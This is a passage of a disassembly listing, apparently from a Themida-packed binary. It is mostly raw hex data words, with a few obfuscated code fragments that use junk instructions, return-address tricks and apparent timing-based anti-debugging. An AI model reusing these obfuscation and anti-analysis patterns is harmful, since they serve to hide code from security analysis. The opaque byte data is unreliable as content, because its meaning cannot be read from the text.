dd 0C4895F6h, 163C8CAEh, 0B3D92B8h, 183485ABh, 3FAEB1BAh
dd 16B44BE3h, 0C2C975ACh, 0DC2934DDh, 1FA95E39h, 87F6A02Dh
dd 109E780Bh, 0F2D0B1D4h, 0EFCF7DD0h, 0C8BEA351h, 57E6CCEBh
dd 0A32D6CFDh, 8E986564h, 86D73616h, 8A8797F7h, 0CD85D30Ah
dd 46085A7Ch, 9D2E64F7h, 54E521A8h, 0AD396828h, 0B0D05Ah
dd 0BD660000h, 0DFC3E06Ch, 0D2330252h, 0EA775B0Ah, 0DBFCDB6Ah
dd 9DB530AAh, 4C94F910h, 9DB84CBDh, 3715A810h, 2C20B197h
dd 0BCCA1F1Dh, 0A6AE3B1Fh, 716E7697h, 8EB619FCh, 0A0D5F216h
dd 0A8AA326h, 0EFCFAEEFh, 0D806BAAFh, 0FB293C26h, 0D7FBD8B9h
dd 0D2FFC989h, 74F98FA3h, 0A6058810h, 0BF1F3584h, 55084C99h
dd 79F08B6Bh, 0FEFCD990h, 42000007h, 5E4462F4h, 0FE2482CCh
dd 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h, 0B4A02D5Eh, 0AEA43416h
dd 0B3952A10h, 0B09C2D13h, 0D7064912h, 16B44D7Bh, 0BD71CD44h
dd 0BC902170h, 87DCFEDDh, 0C71170C1h, 3616A789h, 6CBD3A98h
dd 0DC6D51E0h, 626C5270h, 49662049h, 8EA59514h, 0DC311616h
dd 0F82C2CDFh, 7095529Ah, 19CAFE8Fh, 5198E842h, 0CE679635h
dd 0CF11B28Eh, 2DDBEB88h, 7F1E81B0h, 0EF97D2EEh, 7DC8EFD0h
dd 0FD0F9FD8h, 418EFDC7h, 0AE0B9C2Dh, 506F506Fh, 979CC11Dh
dd 184D8AFFh, 0FF979CBEh, 5D670687h, 4462EA7Bh, 0CC81CB5Eh
dd 751333FEh, 4A7D580Fh, 0F6000007h, 0EAD0EE68h, 0F2D8F658h
dd 0ECCEEC5Eh, 0F3D5F55Bh, 0DDD0EE66h, 0A8AC3952h, 0BA98280Ah
dd 0A7A1361Ch, 0BC902107h, 0DB0A551Eh, 16B44E7Fh, 0BD6DD148h
dd 0DFC3E06Ch, 63ED3E51h, 0AD23302h, 82045D5Bh, 8C200225h
dd 53E26AFBh, 0DC6F5332h, 2C25646Ch, 0ED168E94h, 0D30E0AA8h
dd 82E114B3h, 0F107801h, 0B809318Eh, 0C1143694h, 637EBA8Bh
dd 3B518423h, 780A616Bh, 4194B615h, 3485AB0Bh, 0F6EB4918h
dd 87C23390h, 0D0044E4Bh, 0E0FC184Dh, 72396DC5h, 6B457h
dd 183E8C00h, 84698BAh, 163488AAh, 0F4192B8h, 183C89AFh
dd 47A48BBAh, 567C5AFAh, 4C6E4C06h, 4F7151F7h, 63704EFEh
dd 4D8D097Ch, 435616B4h, 5BEA31Fh, 0DCFB9AB6h, 56E761F6h
dd 0E469337h, 0C916DE3Fh, 8B218894h, 0AEFD2516h, 9FAD00A2h
dd 56759855h, 2B79DD71h, 60688476h, 676B5473h, 5806B1F2h
dd 6FC214DCh, 8ADBFDDDh, 2C3573C2h, 785A7D5Ah, 0D935A8E4h
dd 0A20A873Dh, 4BBA0263h, 10781D52h, 837FF213h, 0AC79EFB3h
dd 623E0FDh, 911D0000h, 73C3E5C5h, 83D5FBDBh, 72C1E7C7h
dd 8BDA00DEh, 75BAE9C9h, 2B8BC918h, 3B9BB705h, 2886C215h
dd 3D9DAF02h, 60BA2B34h, 2916B44Fh, 0E5C24EF0h, 9DB51670h
dd 0B8F8DF10h, 9BEF5892h, 122EB6D7h, 0DD10AFD7h, 168BD79Eh
dd 0E5CDEA2Bh, 0F8DAF854h, 5A56E765h, 7758770Fh, 0F9A50750h
dd 0D8E09AFAh, 75D373A9h, 4E6DB010h, 0DB6C4E71h, 0D28A0475h
dd 32530471h, 3715A8AAh, 2C20B197h, 0BCCA1F1Dh, 0B3B3EE1Fh
dd 99FC0A62h, 0DA49E4E4h, 1732F973h, 58Dh, 8F2F27B3h, 953519A9h
dd 892921B3h, 9A3818A7h, 8B2B29B8h, 0E7769798h, 0DD6B4D6Dh
dd 0E0735575h, 0D5684A68h, 458A5777h, 0B44EB610h, 382A7F16h
dd 8C1D6CBDh, 1D02A1C0h, 0B588D580h, 4FBE1D78h, 109DD8D3h
dd 0F06F799Ch, 581F4D3h, 39109DD9h, 7392A3A7h, 3517A1E4h
dd 270BA8A4h, 2432BA9Ah, 90C3FDE4h, 88388CD3h, 9AFB53E3h
dd 4CA9DCFBh, 0D5168EBCh, 0F250A1B0h, 490A8AB7h, 50204CBDh
dd 0F85AACE5h, 44h, 0C8BEA35Eh, 7AEBCCEBh, 109DB520h, 0FB4A0054h
dd 8048CD9Ah, 8E980001h, 0FD4CD116h, 7F59F9DEh, 0D8EC5B7h
dd 82C644C3h, 0B0020A8Ah, 3B8BCF9Eh, 61914213h, 9AF4FDE8h
dd 243DFB21h, 0D0A55AADh, 0B9000000h, 0C3E06CBDh, 0B51571E4h
dd 0BFDE109Dh, 4594B635h, 39213E0Fh, 7495A4A8h, 75D76A6Ch
dd 0FD4FE2E4h, 9AD700DDh, 15F87E61h, 0A7B0AD2h, 66109DC3h
dd 775979D3h, 0D9D766E6h, 0F6D9F690h, 0BC2AA4D9h, 0CF5E109Dh
dd 655B485h, 63CE3D87h, 0C168E8Dh, 250D2A89h, 68A9B894h
dd 8A8A9DF9h, 7B61660Ah, 2914899Dh, 0C311DBBAh, 0CBE89EC3h
dd 74C2209Ah, 0C7E42910h, 0E1FE56E3h, 56E76BF9h, 0E9659837h
dd 0B20474AEh, 654B8953h, 0C9097CD8h, 0A79F044h, 42B6663h
dd 0C9150000h, 0BB0B2D8Dh, 0BB0D3393h, 0BA092F8Fh, 0C3123896h
dd 2D023191h, 0C3E371C0h, 0A3034FDDh, 0C01E2A7Dh, 0A505479Ah
dd 0C842B39Ch, 9116B450h, 70BD2618h, 51E4C6E4h, 0A37DDBFBh
dd 99B505BEh, 8B2849C8h, 8E987B5Ah, 0EAC94C16h, 73FB9DC5h
dd 0D51F2CBFh, 2967E716h, 54BE0A8Ah, 9EC795B7h, 0B96F5AADh
dd 0D3000000h, 51E06CBDh, 0E574E06Dh, 3A94C9E6h, 3109DB5h
dd 0B53591C4h, 9FFE109Dh, 2697F6FEh, 82109DB8h, 9CBE1D2Fh
dd 0D435044Ah, 0C9F1CE0Ch, 382D377h, 64697B9h, 96F0F937h
dd 8259C439h, 8302168Eh, 91200223h, 0C91372C3h, 0B512746Dh
dd 74DD4540h, 308F0E10h, 0D984DE0Fh, 0C84D0474h, 62EFD300h
dd 5FEED4F2h, 6F5C80F5h, 0E28979F0h, 354E7h, 0F85EEC00h
dd 0E866F8DAh, 0F654E8CAh, 0EF61F2D8h
dd 0F85CE9CFh, 2744EBDAh, 361CBA9Ah, 2C0EACA6h, 2F11B197h
dd 4310AE9Eh, 526DE91Ch, 0E33616B4h, 0E470BD7Fh, 3551E4C6h
dd 0EA8A2B92h, 1DBDDC98h, 83C51A40h, 0CF8953B2h, 51E06CBDh
dd 1AADDC6Dh, 4E6F4F2Eh, 57E5B969h, 0F9C36C1Bh, 0B9B0C9D3h
dd 0FE7FEECDh, 0F168F06h, 0D326D8Eh, 356A94A2h, 0E01FA9CDh
dd 0AE96170Ah, 124385DCh, 665592B8h, 5E7D1C81h, 4689922Fh
dd 9A270B6Ch, 626AABBAh, 92B18005h, 72C640B5h, 8EFF6042h
dd 60427314h, 6AABB8DDh, 7B0B5662h, 68E2765Ch, 0F8BFAD9h
dd 0D8604273h, 0CF0CD4B5h, 3087719Eh, 20BFDE66h, 6A5A73Ah
dd 6EFB9424h, 573657E6h, 1F3D8706h, 85CB1C3Eh, 498B55B4h
dd 52154F8h, 1ECFA78Dh, 26F528Fh, 85D10000h, 7FCFF1D1h
dd 77C9EFCFh, 7ECDF3D3h, 7FCEF4D2h, 69C6F5D5h, 3F9FB504h
dd 2787CB19h, 3C9AAE01h, 2989C316h, 54CE3F20h, 1D16B453h
dd 6CBD5A04h, 0B557B322h, 0FD20109Dh, 0ED203F9Ch, 109DB571h
dd 89C7183Ah, 2381E0E8h, 0FA6B483Eh, 168EB5EFh, 0EFD5F518h
dd 0EF97D213h, 9DD0EFD0h, 0A8AB341h, 0C2418B0Ah, 107BA423h
dd 0CDF2D134h, 5DC5443Fh, 9E6F79EBh, 480C5981h, 0B15098F9h
dd 9FED0C4Dh, 0B7147277h, 0D96CAF46h, 17AAB04Dh, 0E071E372h
dd 1071C0A1h, 0BFE3E071h, 3253E272h, 75538EAAh, 0D5578600h
dd 0AFCE4F41h, 0B80B2F10h, 5765E190h, 0EF2E41D5h, 0F0D7F8E5h
dd 0C1164D01h, 7057B687h, 616B1073h, 0C318D522h, 0E4C34247h
dd 4351DFC3h, 0BE87B812h, 7D1C813Bh, 7CD06173h, 63E97C5Eh
dd 3A1DE6EEh, 213CEBB1h, 181h, 0C3E373BFh, 0A1014DDDh
dd 0BD1D2D7Fh, 0A6044C9Bh, 0BF1F3584h, 0FB4AA38Ch, 9577959h
dd 0F4476949h, 1547654h, 815E6B4Bh, 0B453920Ch, 1C465B16h
dd 8F1D6CBDh, 721372C3h, 0EA9CC5E3h, 0AFD598CDh, 2F6E168Eh
dd 3517AA90h, 1487ADABh, 0C640B592h, 8F0A8A99h, 6F7AC60Eh
dd 0B397B817h, 0FA1B2A22h, 8B1293F2h, 0E223107Bh, 0A87FDAC5h
dd 736FA58Dh, 76E18802h, 0ADCC5104h, 0DFDB7223h, 399C4885h
dd 4795630h, 5174EA6Dh, 221E2F6Eh, 3F20BFC7h, 0D671ED20h
dd 0DB3A4570h, 0EA457211h, 53B24B5Eh, 51FB4E74h, 4EFE4F71h
dd 0D5EFC31Bh, 1835F4B4h, 0CDh, 4F6FE773h, 5575D969h, 4969E173h
dd 5A78D867h, 4B6BE978h, 27B6D758h, 1DAB8D2Dh, 20B39535h
dd 15A88A28h, 85CA9737h, 0B453F650h, 0F86ABF16h, 0C3E06CBDh
dd 6DFC4CDFh, 0E273D769h, 6BFAC2A3h, 5572144Dh, 8EB8F120h
dd 0C3E32216h, 0CBE89EC3h, 0CE6F4E4h, 0AB3E1ED6h, 0B2802779h
dd 0B3A0282Fh, 78120A42h, 499BBF10h, 0EB2AB701h, 0A1E5785Ah
dd 125B65ADh, 5A5C478h, 1DBA9223h, 9AABA735h, 83F2717Bh
dd 2FC76254h, 0F065427Dh, 0D906D196h, 5CB63E5Fh, 0AAA233DFh
dd 0B993260Ch, 3B15A6A8h, 3FBC362Ah, 0AC0A4293h, 48193386h
dd 5DB92C0Bh, 91D906D2h, 0DF3E0F43h, 98C30D90h, 0Dh, 815E7B36h
dd 9DB4920Ch, 0B23A5B10h, 0E571BD28h, 6DDF7254h, 0E365FADCh
dd 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h, 0AF9B2D11h
dd 242ABC9Eh, 9C682215h, 89000041h, 0E189240Ch, 4C181h
dd 0E9830000h, 240C8704h
; ---------------------------------------------------------------------------
pop esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push 0CFh
mov [esp], ecx
push edx
push esi
mov esi, 61695B3h
mov edx, esi
pop esi
mov ebp, edx
pop edx
push esp
mov ecx, [esp]
add esp, 4
push 2D27h
mov [esp], ebp
pop dword ptr [ecx+8]
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_58442C
; ---------------------------------------------------------------------------
db 38h
dd 0D0DBB27Eh, 2BEF9BE7h, 0A0A8B83Bh, 0C5030616h, 0A9A7E0FFh
dd 0AD63469Ah, 67E50BAAh, 23EB4167h, 0AEB44CC3h, 9742172Ah
dd 48E949F4h, 70000001h, 74000000h, 78000000h, 7C000000h
dd 80000000h, 84000000h, 88000000h, 8C000000h, 0D0000000h
dd 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h, 0E4000000h
dd 0E8000000h, 0EC000000h, 0F0000000h, 0F4000000h, 0F8000000h
dd 0FC000000h, 0
dd 4000001h, 8000001h, 0C000001h, 1, 37h dup(0)
dd 7B000000h, 3005B64h, 8D00B2C2h, 16A15185h, 8E906h, 169E0000h
dd 6A497420h, 85895108h, 616A291h, 10558589h, 85C60613h
dd 61311E1h, 8E954h, 958C0000h, 90E28FFFh, 805774FDh, 0E85BE7CDh
dd 4, 0EE626829h, 50F08B66h, 710DBF66h, 424448Bh, 11E851h
dd 29310000h, 0A30378B9h, 0A744D9FEh, 3485C9B6h, 669A5C25h
dd 5B59FA8Bh, 5060008Bh, 0FE8B6652h, 0BA66310Fh, 585AF20Eh
dd 6E9h, 94FA7A00h, 6123218Fh, 4244489h, 310F5250h, 8B665250h
dd 52310FD7h, 5A585A5Ah, 0CE805858h, 0E9B5FFC2h, 8D06131Eh
dd 167C3385h, 859D8906h, 0FF061330h, 0D18531D0h, 8906132Ch
dd 16A29585h, 433EBE06h, 958B3938h, 61320E9h, 5BE9h, 0C3CB8000h
dd 91B58B56h, 890616A2h, 91858306h, 40616A2h, 8D60C35Eh
dd 16A151B5h, 560FEB06h, 36FF006Ah, 0A29595FFh, 835E0616h
dd 3E8304C6h, 61EC7500h, 15B58BC3h, 60061314h, 0CD9D8Bh
dd 6E80613h, 73000000h, 8FC55391h, 59BCB3C8h, 0C1816661h
dd 9D231226h, 6131385h, 0A37C858Dh, 8B660616h, 398589F8h
dd 0EB061313h, 251C8F4Fh, 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch
dd 0CE00E45Ch, 1BF53134h, 29B327CEh, 0DD5B34D1h, 17E62AC7h
dd 34DF1BCEh, 0A6DB67h, 422577h, 0DC80BA9Fh, 0
dd 0FEB51B54h, 0FE330000h, 0FBh, 52DDB487h, 9ED92023h
dd 7C809E01h, 1346E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 0D30E9EABh, 0FBB9BAC9h
dd 8E0F4879h, 0Ch, 68B0Fh, 0CF810000h, 1E486D1Fh, 173DBD83h
dd 0F000613h, 3685h, 75958B00h, 0B806130Ah, 0
; ---------------------------------------------------------------------------
mov [ebp+6131125h], eax
retn 4
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5B6754
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6754 proc near ; CODE XREF: Themida_:005B674Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5B6754 endp
; ---------------------------------------------------------------------------
dd 3C3E42DFh, 8BE3E931h, 0C88B66C0h, 1D319589h, 0BD830613h
dd 6131625h, 83097500h, 132C81BDh, 13740006h, 0C08B5350h
dd 4D0B8h, 519D8D00h, 0FF0615A7h, 83585BD3h, 132C81BDh
dd 11740006h, 0D0B85350h, 8D000004h, 15A69E9Dh, 5BD3FF06h
dd 0C8BF0F58h, 8BF8BF0Fh, 2D8589C0h, 8D06130Fh, 16A41685h
dd 3D8D0B06h, 50061315h, 76BA6653h, 4895F7Ah, 85952324h
dd 8D061317h, 16A3D385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 9D8971E5h, 6131259h, 50FE8B66h
dd 47ADBF66h, 0F240489h, 95FFCEB7h, 6132045h, 338CCEBAh
dd 24448B4Dh, 0C9816604h, 85890593h, 616A3FEh, 1ABD8529h
dd 0DA800613h, 24448BBBh, 0F5B58908h, 0FC061307h, 0A4128589h
dd 6A0616h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 0F98C37C3h, 89E2D55Eh, 132EB1B5h, 0D5BD8306h
dd 6131Eh, 131850Fh, 0D78B0000h, 11E185C6h, 89470613h
dd 1301F58Dh, 4E806h, 0A7D20000h, 5250D49Ah, 2A9A2ABFh
dd 50310F3Dh, 0CF9EB952h, 310F12DCh, 585A585Ah, 0E6BF6650h
dd 24448BF8h, 52008B04h, 0EE85250h, 7D000000h, 0BCCE8B11h
dd 0CC847790h, 0D53D44BFh, 310F59CFh, 14E8h, 2EE8FB00h
dd 0DAAFB380h, 637247A3h, 699B9906h, 0AA0098EBh, 585A5FE1h
dd 2444895Fh, 958B5804h, 6130131h, 1EE9B5FFh, 6A0613h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 5E4376C3h, 23BF017Fh, 33858DF9h, 6A06167Ch, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 0A9C8C357h, 6AD0FF03h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 0BC9FC355h, 0EE9h
dd 697FE00h, 0F64E1245h, 140D6779h, 892B9E3Eh, 131ED585h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 5860F1Bh, 66000000h, 0D2D6F281h, 6E9h, 0D23AF600h
dd 8366ADD3h, 131315BDh, 850F0006h, 0B7h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 18h, 65C35040h, 0F6CD0F07h
dd 5E953h, 896A0000h, 5F3E32A9h, 11E185C6h, 0E9470613h
dd 12h, 0F64A5071h, 0BE71531Dh, 0B9959EA0h, 0CAD1719Ch
dd 7A6816CBh, 8B2A0F23h, 240481C8h, 60009268h, 5B85E181h
dd 0B5FF7F77h, 6131EE9h, 158529h, 858D0613h, 6167C33h
dd 38E0Fh, 0BF0F0000h, 6AD0FFCEh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 6419C350h
dd 31A8ECABh, 0B966741Dh, 858942F3h, 6130B75h, 13158589h
dd 0B70F0613h, 218D8BCEh, 83061316h, 130135BDh, 850F0006h
dd 0CAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 4EC35747h, 86BF66D7h, 15958B8Ch, 0C606130Bh, 1311E185h
dd 6A5606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 4B40A7C3h, 0B4AF1068h, 46B966FAh, 24348183h
dd 2EABC229h, 4D98D89h, 0B5FF0613h, 6131EE9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 5EC35040h, 8955FA45h
dd 1317298Dh, 33858D06h, 6A06167Ch, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0E902C356h
dd 55FA455Eh, 0B167FD15h, 1DC18166h, 89D0FF70h, 13013585h
dd 7133BF06h, 85C64635h, 61311E1h, 55006A6Ch, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 2F427687h
dd 14E822h, 445C0000h, 0E1186478h, 0A081C409h, 21FE3BFBh
dd 82C4F4FCh, 8B66B34Ch, 4E859D7h, 83000000h, 50DB0570h
dd 424448Bh, 0F98B6660h, 61FE8B66h, 0AB6008Bh, 4244489h
dd 0F58D78Ah, 48Bh, 98BA6600h, 6DB5FF84h, 6A061311h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 8D5EC357h, 0F1D2C036h, 8D19D280h, 133AAD85h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 56CD6F04h, 3890F3Ch, 66000000h, 0D0FFFA8Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 95C35141h, 5185D46Fh
dd 31B58952h, 5906130Ch, 0A4028589h, 83F80616h, 16A41EBDh
dd 850F0006h, 157h, 0B418D23h, 85C60613h, 61311E1h, 13E849h
dd 11190000h, 6F3041EFh, 2FD7FE79h, 60B34321h, 947B51D2h
dd 11B589AEh, 5A061324h, 8E8h, 0DEF25B00h, 4E550DAEh, 10E837h
dd 0B2790000h, 1BF4111Ch, 0C5B0D5F4h, 0C96696CEh, 95296255h
dd 6130D35h, 0B6685F5Ah, 66707DF4h, 8180D4BAh, 35332404h
dd 6A1B97h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 429371C3h, 0C83402EAh, 8E0FB0B5h, 2, 0B5FFD08Ah
dd 613116Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 0E7C35040h, 0DDEC6EB4h, 6595890Bh, 8D06130Eh, 133AAD85h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 81C67561h, 1958952h, 0FF061306h, 50006AD0h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0BBD635A0h, 0B2DABCB8h, 0E9579C3Fh, 0Dh, 3A52E133h
dd 0D7DE8DF6h, 3D6B4A8Fh, 0BD335FA2h, 613072Dh, 0A41E8589h
dd 6A0616h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 0D339A5C3h, 0BDBD89E2h, 6A061305h, 15850904h
dd 68061321h, 8800E52Ch, 95A2B966h, 0D4240481h, 8B77FF2Ah
dd 13166D8Dh, 0B486806h, 0F38A23C7h, 48243481h, 3123C60Bh
dd 1331F9B5h, 0F8006A06h, 297D95FFh, 6A0613h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B000DEC3h
dd 41AB2746h, 810F87D4h, 6, 24058501h, 85890613h, 616A40Eh
dd 2DB58952h, 59061309h, 0A40685C7h, 616h, 8D8B0000h, 6130DD9h
dd 0E981006Ah, 31876B73h, 4E8h, 1000000h, 7176B900h, 6650481Ch
dd 8B3A3BB9h, 66042444h, 8BD048BFh, 3220BA00h, 448962A0h
dd 0E8B20424h, 68D0F58h, 29000000h, 1328C1BDh, 0BF669006h
dd 8B509D13h, 950990CEh, 6131FEDh, 0E2810B6Ah, 3DD48A04h
dd 0A3DB858Dh, 95890616h, 61304C1h, 3880Fh, 8B660000h
dd 525090F8h, 0DE8h, 0DA6B1900h, 89EF6937h, 16ED5B64h
dd 61603EB5h, 57310F59h, 13E8h, 0BC6FCD00h, 0AAFB01A3h
dd 341AF42Ah, 1328E0C0h, 0B1244735h, 585A5A5Fh, 5E850h
dd 59650000h, 6015B5A7h, 310F5250h, 75BA585Ah, 615E6449h
dd 6A905Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 3AAD1FC3h, 0D595FFA7h, 6A06131Eh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 0E77BC353h, 0F2C10EDCh, 5FE3BADCh, 0B58D3D56h, 616A3E5h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 2C35343h
dd 450A9198h, 2ACC21EEh, 0A6AEC281h
dd 7E86815h, 15000000h, 0AE0E5344h, 890F72FDh, 2, 965F6160h
dd 5ACE8A56h, 1EAEBA50h, 6A960C8Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0C2BFC355h
dd 80110EACh, 6090B8F6h, 2870Fh, 0CE8B0000h, 0FE8B5061h
dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 0D0733AD1h, 8F82996Fh, 95FFDD4Fh, 6131315h
dd 5E8h, 308A1500h, 0BF0FD1BEh, 0C00B5AFFh, 31850Fh, 5E90000h
dd 36000000h, 9AB237CDh, 7A8E9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0C18589D7h
dd 0FF06131Ah, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 0DA16BA9Fh, 0B58B66CBh
dd 616A40Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 1FC35646h, 8BF0AF29h, 130E498Dh, 20468D06h, 4CE98166h
dd 3810FDAh, 80000000h, 46A06C2h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 5FC35646h, 0C810FA7h, 0F000000h
dd 680h, 0ED952900h, 89061307h, 131BB9BDh, 0CE806h, 0C460000h
dd 5F7F3C8Ch, 0A9EDD437h, 8D0F28BEh, 0Ah, 5E9h, 0F1B61F00h
dd 9059C295h, 0F18B6060h, 10E9h, 0F8CA4C00h, 2C23C7ECh
dd 5665C78Eh, 2CC42E64h, 0D18B61B9h, 59BF5061h, 9000A5E7h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0CDC35242h
dd 31197A46h, 130625BDh, 85958B06h, 0FF061325h, 16A41E95h
dd 0EE5CBA06h, 0C00B4E8Fh, 11840Fh, 8D8B0000h, 6131471h
dd 660E9h, 61B53100h, 80061322h, 0F00207Eh, 65084h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 88DC0969h, 8166C9D2h, 60F3AAEAh, 7443E2B9h, 20468D56h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 60C35141h
dd 0DE4ECA92h, 0AB268152h, 108D0F16h, 0E9000000h, 0Bh
dd 0E8A0187Dh, 298EF69Dh, 8962F988h, 16A40A85h, 7D958B06h
dd 0E9061319h, 0FBh, 3475958Bh, 0F400613h, 38Dh, 0CEBF0F00h
dd 0A890F90h, 60000000h, 870Fh, 61600000h, 11E85061h, 0DB000000h
dd 421961EAh, 24516528h, 4AFE220Bh, 68EAB034h, 5FD38B66h
dd 0E7CA8090h, 958B046Ah, 6132B35h, 50E4B190h, 0E5B96660h
dd 68A0FC4h, 50000000h, 5A310F52h, 89906158h, 132CED95h
dd 1E95FF06h, 6A0616A4h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 5744C353h, 57B9DED7h
dd 0D88BD372h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 66C35040h, 10E84919h, 28000000h, 1CE8E9B4h, 2D89B667h
dd 0C8B28D02h, 81B24CF3h, 8C793CC9h, 80585F25h, 0DB0B05CAh
dd 25840Fh, 6E90000h, 50000000h, 60E088EAh, 0AE979h, 46D10000h
dd 31773376h, 0CED9D8D2h, 4E0E9h, 41D28100h, 80339B35h
dd 850F0038h, 0FFFFFF02h, 2CA99D89h, 69E90613h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 2537C355h, 11E93Dh, 2F500000h, 0CE58EA80h
dd 0D4CA473h, 0CA8B7D9Bh, 0BFA603CDh, 22EE467Eh, 55006A48h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 60F4A341h, 0FC2BF0Fh, 682h, 9DB50300h, 6106131Ah, 0A40A853Bh
dd 820F0616h, 6Ah, 80CE8B66h, 840F5C38h, 5Eh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C1C35646h, 3D4F6FD6h
dd 35DFE781h, 38804CF7h, 89850F2Fh, 6AFFFFFFh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 1E90C356h, 820F4D37h, 6, 775BD8Bh, 0BA660613h, 0FC4023CDh
dd 0A412BD83h, 0F000616h, 1E284h, 50D78B00h, 0F5B36051h
dd 5961C88Bh, 6A240489h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 0FBC6C350h, 0C2342CD1h
dd 5C3CFBC3h, 0B299523h, 952B0613h, 61314B1h, 0A4128503h
dd 6A0616h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 0D0FE08C3h, 3FA81A40h, 81A00B72h, 9BBB9AEAh
dd 489504Bh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 0D2D7ABEDh, 71A765CEh, 0AE94Ah, 7C420000h
dd 0E9F63EBCh, 0FD2A8D0Ah, 8A0F046Ah, 5, 84D18166h, 0DBD8B07h
dd 5006131Fh, 2810Fh, 5BB20000h, 6A240489h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6616C357h
dd 398D8B49h, 0FF061317h, 16A41E95h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0FBDE4950h
dd 0C9BF0F89h, 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 118CEFC3h, 0B5890404h, 6133045h
dd 7E858h, 1F8F0000h, 333FEFEFh, 0BDBD8B6Eh, 5A061322h
dd 840FDB0Bh, 5Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 0EEC35646h, 0AE781EABh, 8B5945C7h, 1321E58Dh
dd 253E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 0A2EAE2C3h, 8BC8CF36h, 133231BDh
dd 8BCF8B06h, 1322C58Dh, 0C606h, 4686BF66h, 53006A58h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0B823F3CDh, 0F99D89D4h, 5006130Fh, 489CA8Bh, 56006A24h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 0B5896082h, 6132041h, 0B1E6A61h, 13150DBDh, 0BEB99006h
dd 502AC14Dh, 0C7FCB950h, 905F29BAh, 0E850006Ah, 3, 58C35820h
